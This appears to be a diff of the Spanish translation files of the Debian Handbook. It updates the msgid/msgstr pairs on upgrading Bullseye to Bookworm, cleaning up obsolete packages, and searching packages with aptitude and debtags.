msgstr "<computeroutput># </computeroutput><userinput>ls /etc/apt/trusted.gpg.d/\n</userinput><![CDATA[debian-archive-bookworm-automatic.asc\ndebian-archive-bookworm-security-automatic.asc\ndebian-archive-bookworm-stable.asc\ndebian-archive-bullseye-automatic.asc\ndebian-archive-bullseye-security-automatic.asc\ndebian-archive-bullseye-stable.asc\ndebian-archive-buster-automatic.asc\ndebian-archive-buster-security-automatic.asc\ndebian-archive-buster-stable.asc\n]]>"
msgid "<emphasis>IN PRACTICE</emphasis> Adding trusted keys"
msgstr "<emphasis>EN LA PRÁCTICA</emphasis> Agregando llaves confiables"
@ -2393,15 +2313,11 @@ msgstr "<primary>notas de publicación</primary>"
msgid "The release notes for an operating system (and, more generally, for any software) are a document giving an overview of the software, with some details concerning the particularities of one version. These documents are generally short compared to the complete documentation, and they usually list the features which have been introduced since the previous version. They also give details on upgrading procedures, warnings for users of previous versions, and sometimes errata."
msgstr "Las notas de publicación para un sistema operativo (y, más generalmente, para cualquier software) son un documento que provee una vista general del software con algunos detalles sobre las particularidades de una versión. Estos documentos son generalmente cortos comparados con la documentación completa y frecuentemente listan las características introducidas desde la versión anterior. También proveen detalles sobre los procedimientos de actualización, advertencias para los usuarios de las versiones anteriores y, a veces, una errata."
#, fuzzy
#| msgid "Release notes for Debian are available online: the release notes for the current stable release have a dedicated URL, while older release notes can be found with their codenames: <ulink type=\"block\" url=\"https://www.debian.org/releases/stable/releasenotes\" /> <ulink type=\"block\" url=\"https://www.debian.org/releases/buster/releasenotes\" />"
msgid "Release notes for Debian are available online: the release notes for the current stable release have a dedicated URL, while older release notes can be found with their codenames: <ulink type=\"block\" url=\"https://www.debian.org/releases/stable/releasenotes\" /> <ulink type=\"block\" url=\"https://www.debian.org/releases/bullseye/releasenotes\" />"
msgstr "Las notas de publicación para Debian están disponibles online: las de la versión estable actual tienen una URL dedicada mientras que se pueden encontrar las anteriores según sus nombre clave: <ulink type=\"block\" url=\"https://www.debian.org/releases/stable/releasenotes\" /> <ulink type=\"block\" url=\"https://www.debian.org/releases/buster/releasenotes\" />"
msgstr "Las notas de publicación para Debian están disponibles online: las de la versión estable actual tienen una URL dedicada mientras que se pueden encontrar las anteriores según sus nombre clave: <ulink type=\"block\" url=\"https://www.debian.org/releases/stable/releasenotes\" /> <ulink type=\"block\" url=\"https://www.debian.org/releases/bullseye/releasenotes\" />"
#, fuzzy
#| msgid "In this section, we will focus on upgrading a <emphasis role=\"distribution\">Buster</emphasis> system to <emphasis role=\"distribution\">Bullseye</emphasis>. This is a major operation on a system; as such, it is never 100% risk-free, and should not be attempted before all important data has been backed up."
msgid "In this section, we will focus on upgrading a <emphasis role=\"distribution\">Bullseye</emphasis> system to <emphasis role=\"distribution\">Bookworm</emphasis>. This is a major operation on a system; as such, it is never 100% risk-free, and should not be attempted before all important data has been backed up."
msgstr "En esta sección nos centraremos en actualizar un sistema <emphasis role=\"distribution\">Buster</emphasis> a <emphasis role=\"distribution\">Bullseye</emphasis>. Esta es una operación de gran envergadura en un sistema; como tal, nunca está 100% libre de riesgos y no debería intentarse antes de tener copias de respaldo de todos los datos importantes."
msgstr "En esta sección nos centraremos en actualizar un sistema <emphasis role=\"distribution\">Bullseye</emphasis> a <emphasis role=\"distribution\">Bookworm</emphasis>. Esta es una operación de gran envergadura en un sistema; como tal, nunca está 100% libre de riesgos y no debería intentarse antes de tener copias de respaldo de todos los datos importantes."
#, fuzzy
msgid "<primary><command>apt-show-versions</command></primary>"
@ -2438,10 +2354,8 @@ msgstr "<primary>actualizaciones</primary><secondary>sistema</secondary>"
msgid "<primary>system</primary><secondary><foreignphrase>update</foreignphrase></secondary>"
msgstr "<primary>sistema</primary><secondary><foreignphrase>actualización</foreignphrase></secondary>"
#, fuzzy
#| msgid "Now for the upgrading itself. First, you need to change the <filename>/etc/apt/sources.list</filename> file to tell APT to get its packages from <emphasis role=\"distribution\">Bullseye</emphasis> instead of <emphasis role=\"distribution\">Buster</emphasis>. If the file only contains references to <emphasis role=\"distribution\">Stable</emphasis> rather than explicit codenames, the change isn't even required, since <emphasis role=\"distribution\">Stable</emphasis> always refers to the latest released version of Debian. In both cases, the database of available packages must be refreshed with the <command>apt update</command> command or the refresh button in <command>synaptic</command> (<xref linkend=\"sect.apt-update\" />)."
msgid "Now for the upgrading itself. First, you need to change the <filename>/etc/apt/sources.list</filename> file to tell APT to get its packages from <emphasis role=\"distribution\">Bookworm</emphasis> instead of <emphasis role=\"distribution\">Bullseye</emphasis>. If the file only contains references to <emphasis role=\"distribution\">Stable</emphasis> rather than explicit codenames, the change isn't even required, since <emphasis role=\"distribution\">Stable</emphasis> always refers to the latest released version of Debian. In both cases, the database of available packages must be refreshed with the <command>apt update</command> command or the refresh button in <command>synaptic</command> (<xref linkend=\"sect.apt-update\" />)."
msgstr "Ahora para la actualización en sí. Primero necesita cambiar el archivo <filename>/etc/apt/sources.list</filename> para indicarle a APT que obtenga sus paquetes de <emphasis role=\"distribution\">Bulleyes</emphasis> en lugar de <emphasis role=\"distribution\">Buster</emphasis>. Si el archivo sólo contiene referencias a <emphasis role=\"distribution\">Stable</emphasis> en lugar de nombres código explícitos, no necesita hacer este cambio ya que <emphasis role=\"distribution\">Stable</emphasis> siempre hace referencia a la última versión de Debian publicada. En ambos casos, necesita actualizar la base de datos de paquetes disponibles (con <command>apt update</command> o el botón de actualización en <command>synaptic</command>)."
msgstr "Ahora para la actualización en sí. Primero necesita cambiar el archivo <filename>/etc/apt/sources.list</filename> para indicarle a APT que obtenga sus paquetes de <emphasis role=\"distribution\">Bookworm</emphasis> en lugar de <emphasis role=\"distribution\">Bullseye</emphasis>. Si el archivo sólo contiene referencias a <emphasis role=\"distribution\">Stable</emphasis> en lugar de nombres código explícitos, no necesita hacer este cambio ya que <emphasis role=\"distribution\">Stable</emphasis> siempre hace referencia a la última versión de Debian publicada. En ambos casos, necesita actualizar la base de datos de paquetes disponibles (con <command>apt update</command> o el botón de actualización en <command>synaptic</command>)."
msgid "<emphasis>NOTE</emphasis> Repository information changes"
msgstr "<emphasis>NOTA</emphasis> Información de cambios del repositorio"
@ -2473,10 +2387,8 @@ msgstr "Una vez que se registraron las nuevas fuentes de paquetes, primero debe
msgid "<primary>system</primary><secondary><foreignphrase>full-upgrade</foreignphrase></secondary>"
msgstr "<primary>sistema</primary><secondary><foreignphrase>full-upgrade</foreignphrase></secondary>"
#, fuzzy
#| msgid "Once this first upgrade is done, it is time to handle the upgrade itself, either with <command>apt full-upgrade</command>, <command>aptitude</command>, or <command>synaptic</command> (<xref linkend=\"sect.dist-upgrade\" />). You should carefully check the suggested actions before applying them: you might want to add suggested packages or deselect packages which are only recommended and known not to be useful. In any case, the frontend should come up with a scenario ending in a coherent and up-to-date <emphasis role=\"distribution\">Bullseye</emphasis> system. Then, all you need is to do is wait while the required packages are downloaded, answer the debconf questions and possibly those about locally modified configuration files, and sit back while APT does its magic."
msgid "Once this first upgrade is done, it is time to handle the upgrade itself, either with <command>apt full-upgrade</command>, <command>aptitude</command>, or <command>synaptic</command> (<xref linkend=\"sect.dist-upgrade\" />). You should carefully check the suggested actions before applying them: you might want to add suggested packages or deselect packages which are only recommended and known not to be useful. In any case, the frontend should come up with a scenario ending in a coherent and up-to-date <emphasis role=\"distribution\">Bookworm</emphasis> system. Then, all you need is to do is wait while the required packages are downloaded, answer the debconf questions and possibly those about locally modified configuration files, and sit back while APT does its magic."
msgstr "Una vez que se completa la pimera actualización, llega el momento de la actualización en sí. Ya sea con <command>apt full-upgrade</command>, <command>aptitude</command>> o <command>synaptic</command>. Debería verificar cuidadosamente las acciones sugeridas antes de ejecutarlas: podría desear agregar paquetes sugeridos o deseleccionar paquetes que sólo son recomendados y sabe que no serán útiles. En cualquier caso, la interfaz debería proveer un escenario que termine con un sistema <emphasis role=\"distribution\">Bulleyes</emphasis> coherente y actualizado. Luego, todo lo que necesita hacer es esperar mientras se descargan los paquetes necesarios, responder las preguntas de debconf y posiblemente aquellas sobre archivos de configuración modificados localmente y sentarse a esperar mientras APT hace su magia."
msgstr "Una vez que se completa la pimera actualización, llega el momento de la actualización en sí. Ya sea con <command>apt full-upgrade</command>, <command>aptitude</command>> o <command>synaptic</command>. Debería verificar cuidadosamente las acciones sugeridas antes de ejecutarlas: podría desear agregar paquetes sugeridos o deseleccionar paquetes que sólo son recomendados y sabe que no serán útiles. En cualquier caso, la interfaz debería proveer un escenario que termine con un sistema <emphasis role=\"distribution\">Bookworm</emphasis> coherente y actualizado. Luego, todo lo que necesita hacer es esperar mientras se descargan los paquetes necesarios, responder las preguntas de debconf y posiblemente aquellas sobre archivos de configuración modificados localmente y sentarse a esperar mientras APT hace su magia."
msgid "Handling Problems after an Upgrade"
msgstr "Manejo de problemas tras una actualización"
@ -2545,10 +2457,8 @@ msgstr "<primary><command>aptitude</command></primary><secondary>paquetes obsole
msgid "<primary>package</primary><secondary>obsolete</secondary>"
msgstr "<primary>paquete</primary><secondary>obsoleto</secondary>"
#, fuzzy
#| msgid "Sometimes the Debian ftpmasters remove packages from the Debian archive, because they contain release critical bugs, were abandoned by their upstream author or their package maintainer, or simply reached their end of life. In this case a newer Debian release does not ship the package anymore. To find all packages, which do not have a package source, use the <command>apt-show-versions</command> command:"
msgid "Sometimes the Debian ftpmasters remove packages from the Debian archive, because they contain release critical bugs, were abandoned by their upstream author or their package maintainer, or simply reached their end of life. In this case, a newer Debian release does not ship the package anymore. To find all packages, which do not have a package source, use the <command>apt-show-versions</command> command:"
msgstr "A veces los administradores del servidor FTP de Debian eliminan paquetes del archivo de Debian, porque contienen errores críticos para una publicación, fueron abandonados por su autor de origen o desarrollador del paquete o simplemente llegaron al final de su vida útil. En este caso, una nueva publicación de Debian no incluirá ya el paquete. Para encontrar todos los paquetes, que no tienen un paquete fuente, use la orden <command>apt-show-versions</command>:"
msgstr "A veces, los ftpmaster de Debian eliminan paquetes del archivo de Debian porque contienen errores críticos de la versión, fueron abandonados por su autor original o su mantenedor de paquetes, o simplemente llegaron al final de su vida útil. En este caso, una versión más reciente de Debian ya no envía el paquete. Para encontrar todos los paquetes que no tienen un paquete fuente, usar el comando <command>apt-show-versions</command>:"
msgid "<computeroutput>$ </computeroutput><userinput>apt-show-versions | grep \"No available version\"</userinput>"
msgstr "<computeroutput>$ </computeroutput><userinput>apt-show-versions | grep \"No available version\"</userinput>"
@ -2632,13 +2542,11 @@ msgstr "<primary>apt</primary><secondary><literal>autoremove</literal></secondar
msgid "<primary>apt-get</primary><secondary><literal>autoremove</literal></secondary>"
msgstr "<primary>apt-get</primary><secondary><literal>autoremove</literal></secondary>"
#, fuzzy
#| msgid "If the upgrade was successful there might be some configuration file cruft, either from dpkg (see <xref linkend=\"sect.conffiles\" />), ucf or from removed packages. The latter can be <link linkend=\"sidebar.purge\">purged</link> by using <command>apt autoremove --purge</command>. The configuration files that were handled by <emphasis role=\"pkg\">dpkg</emphasis> or <emphasis role=\"pkg\">ucf</emphasis> during the upgrade process have left some counterparts with a dedicated suffix, e.g. <filename>.dpkg-dist</filename>, <filename>.dpkg-old</filename>, <filename>.ucf-old</filename>. Using the <command>find</command> or <command>locate</command> command can help to track them down. If they are no longer of any use, they can be deleted."
msgid "If the upgrade was successful, there might be some configuration file cruft, either from dpkg (see <xref linkend=\"sect.conffiles\" />), ucf or from removed packages. The latter can be <link linkend=\"sidebar.purge\">purged</link> by using <command>apt autoremove --purge</command>. The configuration files that were handled by <emphasis role=\"pkg\">dpkg</emphasis> or <emphasis role=\"pkg\">ucf</emphasis> during the upgrade process have left some counterparts with a dedicated suffix, e.g. <filename>.dpkg-dist</filename>, <filename>.dpkg-old</filename>, <filename>.ucf-old</filename>. Using the <command>find</command> or <command>locate</command> command can help to track them down. If they are no longer of any use, they can be deleted."
msgstr "Si la actualización se realizó con éxito puede que haya algún archivo de configuración basura, ya sea de dpkg (ver <xref linkend=\"sect.conffiles\" />), ucf o de paquetes eliminados. El último se puede <link linkend=\"sidebar.purge\">purgar</link> usando <command>apt autoremove --purge</command>. Los archivos de configuración que fueron manejados por <emphasis role=\"pkg\">dpkg</emphasis> o <emphasis role=\"pkg\">ucf</emphasis> durante el proceso de actualización han dejado algunas contrapartes con un sufijo dedicado (p. ej., <filename>.dpkg-dist</filename>, <filename>.dpkg-old</filename>, <filename>.ucf-old</filename>). Puede ayudar a localizarlos tanto la orden <command>find</command> como la orden <command>locate</command>. Si ya no son útiles, se pueden eliminar."
msgstr "Si la actualización se realizó correctamente, es posible que haya algún archivo de configuración cruft, ya sea de dpkg (ver <xref linkend=\"sect.conffiles\" />), ucf o de paquetes eliminados. Este último puede ser <link linkend=\"sidebar.purge\">purgado</link> mediante <command>apt autoremove --purge</command>. Los archivos de configuración que fueron manejados por<emphasis role=\"pkg\">dpkg </emphasis> o <emphasis role=\"pkg\">ucf</emphasis> durante el proceso de actualización han dejado algunas contrapartes con un sufijo dedicado, por ejemplo, <filename>.dpkg-dist</filename>, <filename>.dpkg-old</filename>, <filename>.ucf-old</filename>. Usar el comando <command>buscar </command> o <command>localizar </command> puede ayudar a rastrearlos. Si ya no sirven de nada, se pueden eliminar."
msgid "Be aware that a purge also removes the data created with a particular package (e.g. database files, docker volumes and containers, etc.). There should always be backups in place in case data gets removed accidentally."
msgstr ""
msgstr "Tener en cuenta que una purga también elimina los datos creados con un paquete en particular (por ejemplo, archivos de base de datos, volúmenes y contenedores de docker,etc.). Siempre debe haber copias de seguridad en caso de que los datos se eliminen accidentalmente."
msgid "Files not owned by any Package"
msgstr "Archivos que no pertenecen a ningún Paquete"
@ -2865,15 +2773,11 @@ msgstr "<emphasis>EN LA PRÁCTICA</emphasis> El caso de Falcot Corp"
msgid "Falcot computers are a heterogeneous system, with machines having various functions. Administrators will therefore pick the most relevant solution for each computer."
msgstr "Las máquinas de Falcot son sistemas heterogéneos, con equipos que tienen varias funciones. Los administradores elegirán la solución más relevante para cada uno."
#, fuzzy
#| msgid "In practice, the servers running <emphasis role=\"distribution\">Bullseye</emphasis> are configured with the “miracle combination” above, and are kept up to date automatically. Only the most critical servers (the firewalls, for instances) are set up with <command>apticron</command>, so that upgrades always happen under the supervision of an administrator."
msgid "In practice, the servers running <emphasis role=\"distribution\">Bookworm</emphasis> are configured with the “miracle combination” above, and are kept up to date automatically. Only the most critical servers (the firewalls, for instances) are set up with <command>apticron</command>, so that upgrades always happen under the supervision of an administrator."
msgstr "En la práctica, configurarán los servidores ejecutando <emphasis role=\"distribution\">Bulleyes</emphasis> con la «combinación milagrosa» anterior y se actualizarán automáticamente. Sólo los servidores más críticos (los firewall, por ejemplo) se configurarán con <command>apticron</command> para que las actualizaciones sólo ocurran bajo la supervisión de un administrador."
msgstr "En la práctica, configurarán los servidores ejecutando <emphasis role=\"distribution\">Bookworm</emphasis> con la «combinación milagrosa» anterior y se actualizarán automáticamente. Sólo los servidores más críticos (los firewall, por ejemplo) se configurarán con <command>apticron</command> para que las actualizaciones sólo ocurran bajo la supervisión de un administrador."
#, fuzzy
#| msgid "The office workstations in the administrative services also run <emphasis role=\"distribution\">Bullseye</emphasis>, but they are equipped with <emphasis role=\"pkg\">gnome-packagekit</emphasis>, so that users trigger the upgrades themselves. The rationale for this decision is that if upgrades happen without an explicit action, the behavior of the computer might change unexpectedly, which could cause confusion for the main users."
msgid "The office workstations in the administrative services also run <emphasis role=\"distribution\">Bookworm</emphasis>, but they are equipped with <emphasis role=\"pkg\">gnome-packagekit</emphasis>, so that users trigger the upgrades themselves. The rationale for this decision is that if upgrades happen without an explicit action, the behavior of the computer might change unexpectedly, which could cause confusion for the main users."
msgstr "Las estaciones de trabajo de oficina en los servicios administrativos también ejecutan <emphasis role=\"distribution\">Bullseye</emphasis>, pero están equipados con <emphasis role=\"pkg\">gnome-packagekit</emphasis> para que los usuarios puedan actualizar ellos mismos. La razón de esta decisión es que si las actualizaciones se hacen sin una acción explítica podría cambiar inesperadamente el comportamiento del equipo causando confusión para sus usuarios principales."
msgstr "Las estaciones de trabajo de oficina en los servicios administrativos también ejecutan <emphasis role=\"distribution\">Bookworm</emphasis>, pero están equipados con <emphasis role=\"pkg\">gnome-packagekit</emphasis> para que los usuarios puedan actualizar ellos mismos. La razón de esta decisión es que si las actualizaciones se hacen sin una acción explícita podría cambiar inesperadamente el comportamiento del equipo causando confusión para sus usuarios principales."
msgid "In the lab, the few computers using <emphasis role=\"distribution\">Testing</emphasis> — to take advantage of the latest software versions — are not upgraded automatically either. Administrators only configure APT to prepare the upgrades but not enact them; when they decide to upgrade (manually), the tedious parts of refreshing package lists and downloading packages will be avoided, and administrators can focus on the really useful part."
msgstr "En el laboratorio, las pocas máquinas que utilizan <emphasis role=\"distribution\">Testing</emphasis> — para aprovechar las últimas versiones de software — no se actualizan automáticamente tampoco. Los administradores configuraron APT para que prepare las actualizaciones pero que no las realice; cuando decidan actualizar (manualmente), se evitarán las partes tediosas de actualizar las listas de paquetes y descargar los paquetes y los administradores se pueden concentrar en la parte realmente útil."
@ -2896,18 +2800,14 @@ msgstr "<emphasis>TIP</emphasis> Convenciones de nombres de paquetes"
msgid "<primary>package</primary><secondary>naming conventions</secondary>"
msgstr "<primary>paquete</primary><secondary>convenciones de nombres</secondary>"
#, fuzzy
#| msgid "Some categories of packages are named according to a conventional naming scheme; knowing the scheme can sometimes allow you to guess exact package names. For instance, for Perl modules, the convention says that a module called <literal>XML::Handler::Composer</literal> upstream should be packaged as <emphasis role=\"pkg\">libxml-handler-composer-perl</emphasis>. The library enabling the use of the <command>gconf</command> system from Python is packaged as <emphasis role=\"pkg\">python-gconf</emphasis>. It is unfortunately not possible to define a fully general naming scheme for all packages, even though package maintainers usually try to follow the choice of the upstream developers."
msgid "Some categories of packages are named according to a conventional naming scheme; knowing the scheme can sometimes allow you to guess exact package names. For instance, for Perl modules, the convention says that a module called <literal>XML::Handler::Composer</literal> upstream should be packaged as <emphasis role=\"pkg\">libxml-handler-composer-perl</emphasis>. The library enabling the handling of <command>YAML</command> from Python is packaged as <emphasis role=\"pkg\">python3-yaml</emphasis>. It is unfortunately not possible to define a fully general naming scheme for all packages, even though package maintainers usually try to follow the choice of the upstream developers."
msgstr "Algunas categorías de paquetes tienen esquemas convencionales de nombres; conocer dicho esquema a veces puede permitirle adivinar nombres de paquetes exactos. Por ejemplo, para módulos Perl, la convención dice que un módulo llamado <literal>XML::Handler::Composer</literal> en origen debe ser empaquetado como <emphasis role=\"pkg\">libxml-handler-composer-perl</emphasis>. La biblioteca que permite utilizar el sistema <command>gconf</command> desde Python es empaquetada como <emphasis role=\"pkg\">python-gconf</emphasis>. Lamentablemente no es posible definir un esquema general de nombres para todos los paquetes, aunque generalmente los encargados de paquetes intentan seguir la elección de los autores originales."
msgstr "Algunas categorías de paquetes se nombran de acuerdo con un esquema de nomenclatura convencional; conocer el esquema a veces puede permitirle adivinar los nombres exactos de los paquetes. Por ejemplo, para los módulos de Perl, la convención dice que un módulo llamado<literal>XML::Handler::Composer</literal> ascendente debe empaquetarse como <emphasis role=\"pkg\">libxml-handler-composer-perl</emphasis>. La biblioteca que permite el manejo de <command>YAML </command>desde Python se empaqueta como <emphasis role=\"pkg\">python3-yaml</emphasis>. Desafortunadamente, no es posible definir un esquema de nomenclatura completamente general para todos los paquetes, aunque los mantenedores de paquetes generalmente intentan seguir la elección de los desarrolladores ascendentes."
msgid "A slightly more successful searching pattern is a plain-text search in package names, but it remains very limited. You can generally find results by searching package descriptions: since each package has a more or less detailed description in addition to its package name, a keyword search in these descriptions will often be useful. <command>apt-cache</command> and <command>axi-cache</command> are the tools of choice for this kind of search (see <xref linkend=\"sidebar.apt-axi-cache\" />); for instance, <command>apt-cache search video</command> will return a list of all packages whose name or description contains the keyword “video”."
msgstr "Un patrón de búsqueda ligeramente más exitoso es una búsqueda en texto plano de los nombres de los paquetes, pero es aún muy limitada. Generalmente puede encontrar resultados buscando en la descripción de los paquetes: dado que cada paquete tiene una descripción más o menos detallada además de su nombre, una búsqueda de palabras clave en estas descripciones generalmente será útil. <command>apt-cache</command> y <command>axi-cache</command> son las herramientas más utilizadas para este tipo de búsqueda (véase <xref linkend=\"sidebar.apt-axi-cache\" />); por ejemplo, <command>apt-cache search video</command> devolverá una lista de todos los paquetes cuyos nombres o descripciones contengan la palabra clave «video»."
#, fuzzy
#| msgid "For more complex searches, a more powerful tool such as <command>aptitude</command> is required. <command>aptitude</command> allows you to search according to a logical expression based on the package's meta-data fields. For instance, the following command searches for packages whose name contains <literal>kino</literal>, whose description contains <literal>video</literal> and whose maintainer's name contains <literal>paul</literal>:"
msgid "For more complex searches, a more powerful tool such as <command>aptitude</command> is required. <command>aptitude</command> allows you to search according to a logical expression based on the package's meta-data fields. For instance, the following command searches for packages whose name contains <literal>iso</literal>, whose description contains <literal>cd</literal> and whose maintainer's name contains <literal>joerg</literal>:"
msgstr "Para búsquedas más complejas necesita herramientas más poderosas como <command>aptitude</command>. <command>aptitude</command> le permite buscar según expresiones lógicas basadas en los campos de metadatos de los paquetes. Por ejemplo, la siguiente orden busca aquellos paquetes cuyo nombre contenga <literal>kino</literal>, cuya descripción contenga <literal>video</literal> y cuyo nombre de encargado contenga <literal>paul</literal>:"
msgstr "Para búsquedas más complejas necesita herramientas más poderosas como <command>aptitude</command>. <command>aptitude</command> permite buscar según expresiones lógicas basadas en los campos de metadatos de los paquetes. Por ejemplo, la siguiente orden busca aquellos paquetes cuyo nombre contenga <literal>iso</literal>, cuya descripción contenga <literal>cd</literal> y cuyo nombre de encargado contenga <literal>joerg</literal>:"
msgid ""
"$ <userinput>aptitude search iso~dcd~mjoerg</userinput>\n"
@ -2949,10 +2849,8 @@ msgstr ""
msgid "The search only returns one package, <emphasis role=\"pkg\">genisoimage</emphasis>, which satisfies all three criteria."
msgstr "La búsqueda solo devuelve un paquete, <emphasis role=\"pkg\">kino</emphasis>, que satisface los tres criterios."
#, fuzzy
#| msgid "Even these multi-criteria searches are rather unwieldy, which explains why they are not used as much as they could. A new tagging system has therefore been developed, and it provides a new approach to searching. Packages are given tags that provide a thematic classification along several strands, known as a “facet-based classification”. In the case of <emphasis role=\"pkg\">kino</emphasis> above, the package's tags indicate that Kino is a Gnome-based software that works on video data and whose main purpose is editing."
msgid "Even these multi-criteria searches are rather unwieldy, which explains why they are not used as much as they could. A new tagging system has therefore been developed, and it provides a new approach to searching. Packages are given tags that provide a thematic classification along several strands, known as a “facet-based classification”. In the case of <emphasis role=\"pkg\">genisoimage</emphasis> above, the package's tags indicate that it is a storage- and more precisely CD- and DVD-related command-line utility to work with ISO9660 file-systems."
msgstr "Al ser estas búsquedas multicritero son complejas, lo que explica porqué no se usen tanto como se pudiera. Se desarrolló por lo tanto un nuevo sistema de etiquetas que provee un nuevo enfoque de búsqueda. Los paquetes reciben unas etiquetas que proporcionan una clasificación temática a lo largo de varias cadenas, conocidas como una “clasificación basada en facetas”.. En el caso anterior de <emphasis role=\"pkg\">kino</emphasis>, las etiquetas del paquete indican que Kino es un software basado en Gnome que trabaja con datos de video y cuyo propósito principal es la edición."
msgstr "Incluso estas búsquedas multicriterio son bastante difíciles de manejar, lo que explica por qué no se usan tanto como podrían. Por lo tanto, se ha desarrollado un nuevo sistema de etiquetado que proporciona un nuevo enfoque para la búsqueda. Los paquetes reciben etiquetas que proporcionan una clasificación temática a lo largo de varias líneas, conocida como \"clasificación basada en facetas\". En el caso de<emphasis role=\"pkg\">genisoimage</emphasis> anterior, las etiquetas del paquete indican que se trata de una utilidad de línea de comandos relacionada con el almacenamiento y, más precisamente, con CD y DVD para trabajar con sistemas de archivos ISO9660."
#, fuzzy
#| msgid "<primary><literal>security.debian.org</literal></primary>"
@ -2976,10 +2874,8 @@ msgstr "<primary>paquete</primary><secondary>etiquetas</secondary>"
msgid "<computeroutput>$ </computeroutput><userinput>debtags search \"works-with::video &amp;&amp; use::editing\"</userinput>"
msgstr "<computeroutput>$ </computeroutput><userinput>debtags search \"works-with::video &amp;&amp; use::editing\"</userinput>"
#, fuzzy
#| msgid "Selecting the <literal>works-with::video</literal> and <literal>use::editing</literal> tags yields a handful of packages, including the <emphasis role=\"pkg\">kino</emphasis> and <emphasis role=\"pkg\">pitivi</emphasis> video editors. This system of classification is bound to be used more and more as time goes on, and package managers will gradually provide efficient search interfaces based on it."
msgid "Selecting the <literal>works-with::video</literal> and <literal>use::editing</literal> tags yields a handful of packages, including the <emphasis role=\"pkg\">shotcut</emphasis> and <emphasis role=\"pkg\">pitivi</emphasis> video editors. This system of classification is bound to be used more and more as time goes on, and package managers will gradually provide efficient search interfaces based on it."
msgstr "Seleccionar las etiquetas <literal>works-with::video</literal> y <literal>use::editing</literal> sólo devuelve unos pocos paquetes que incluyen los editores de video <emphasis role=\"pkg\">kino</emphasis> y <emphasis role=\"pkg\">pitivi</emphasis>. El sistema de clasificación será utilizado más y más con el paso del tiempo y los encargados de los paquetes gradualmente proveerán interfaces de búsqueda eficientes sobre él."
msgstr "Seleccionar las etiquetas <literal>works-with::video</literal> y <literal>use::editing</literal> sólo devuelve unos pocos paquetes que incluyen los editores de vídeo <emphasis role=\"pkg\">shotcut</emphasis> y <emphasis role=\"pkg\">pitivi</emphasis>. El sistema de clasificación será utilizado más y más con el paso del tiempo y los encargados de los paquetes gradualmente proveerán interfaces de búsqueda eficientes sobre él."
msgid "To sum up, the best tool for the job depends on the complexity of the search that you wish to do:"
msgstr "Resumiendo, la mejor herramienta depende de la complejidad de la búsqueda que desee hacer:"

View file

@ -1,6 +1,6 @@
# AUTHOR <EMAIL@ADDRESS>, YEAR.
msgid ""
msgstr "Project-Id-Version: 0\nPOT-Creation-Date: 2025-04-22 01:11+0200\nPO-Revision-Date: 2025-07-12 10:02+0000\nLast-Translator: Adolfo Jayme Barrientos <fitojb@ubuntu.com>\nLanguage-Team: Spanish <https://hosted.weblate.org/projects/debian-handbook/08_basic-configuration/es/>\nLanguage: es-ES\nMIME-Version: 1.0\nContent-Type: text/plain; charset=UTF-8\nContent-Transfer-Encoding: 8bit\nPlural-Forms: nplurals=2; plural=n != 1;\nX-Generator: Weblate 5.13-dev\n"
msgstr "Project-Id-Version: 0\nPOT-Creation-Date: 2025-04-22 01:11+0200\nPO-Revision-Date: 2025-08-09 14:53+0000\nLast-Translator: eulalio <eulalio@disroot.org>\nLanguage-Team: Spanish <https://hosted.weblate.org/projects/debian-handbook/08_basic-configuration/es/>\nLanguage: es-ES\nMIME-Version: 1.0\nContent-Type: text/plain; charset=UTF-8\nContent-Transfer-Encoding: 8bit\nPlural-Forms: nplurals=2; plural=n != 1;\nX-Generator: Weblate 5.13-dev\n"
msgid "Configuration"
msgstr "Configuración"
@ -1980,8 +1980,6 @@ msgstr "<primary><emphasis role=\"pkg\">printer-driver-gutenprint</emphasis></pr
msgid "As a package recommended by <emphasis role=\"pkg\">cups-daemon</emphasis>, <emphasis role=\"pkg\">cups-browsed</emphasis> will be on the system and networked print queues, and modern printers can be automatically discovered and set up from their DNS-SD broadcasts (Bonjour). USB printers will have to be set up manually as described in the next paragraph."
msgstr "Como paquete recomendado por <emphasis role=\"pkg\">cups-daemon</emphasis>, <emphasis role=\"pkg\">cups-browsed</emphasis> estará en las colas de impresión del sistema y de red, y las impresoras modernas pueden ser detectadas y configuradas desde sus emisiones DNS-SD (Bonjour). Las impresoras USB se tendrán que configurar manualmente como se describe en el siguiente párrafo."
#, fuzzy
#| msgid "<primary><emphasis role=\"pkg\">guessnet</emphasis></primary>"
msgid "<primary><emphasis role=\"pkg\">cups-browsed</emphasis></primary>"
msgstr "<primary><emphasis role=\"pkg\">cups-browsed</emphasis></primary>"
@ -3212,10 +3210,8 @@ msgstr "El equipo del núcleo de Debian administra el «Libro del núcleo de Deb
msgid "Introduction and Prerequisites"
msgstr "Introducción y prerequisitos"
#, fuzzy
#| msgid "Unsurprisingly Debian manages the kernel in the form of a package, which is not how kernels have traditionally been compiled and installed. Since the kernel remains under the control of the packaging system, it can then be removed cleanly, or deployed on several machines. Furthermore, the scripts associated with these packages automate the interaction with the bootloader and the initrd generator."
msgid "Unsurprisingly, Debian manages the kernel in the form of a package, which is not how kernels have traditionally been compiled and installed. Since the kernel remains under the control of the packaging system, it can then be removed cleanly, or deployed on several machines. Furthermore, the scripts associated with these packages automate the interaction with the bootloader and the initrd generator."
msgstr "No es sorprendente que Debian administre el núcleo como un paquete, que no es la forma tradicional en la que se compilan e instalan núcleos. Debido a que el núcleo se mantiene bajo el control del sistema de paquetes puede ser eliminado limpiamente o desplegado en varias máquinas. Lo que es más, los scripts asociados con estos paquetes automatizan la interacción con el gestor de arranque y el generador de initrd."
msgstr "Como era de esperar, Debian administra el núcleo en forma de paquete, que no es la forma tradicional en que se compilan e instalan los núcleos. Dado que el kernel permanece bajo el control del sistema de empaquetado, puede eliminarse limpiamente o implementarse en varias máquinas. Además, los scripts asociados a estos paquetes automatizan la interacción con el gestor de arranque y el generador initrd."
msgid "The upstream Linux sources contain everything needed to build a Debian package of the kernel. But you still need to install <emphasis role=\"pkg\">build-essential</emphasis> to ensure that you have the tools required to build a Debian package. Furthermore, the configuration step for the kernel requires the <emphasis role=\"pkg\">libncurses-dev</emphasis> package (formerly <emphasis role=\"pkg\">libncurses5-dev</emphasis>, which is now a transitional package). Finally, the <emphasis role=\"pkg\">fakeroot</emphasis> package will enable creation of the Debian package without using administrator's rights."
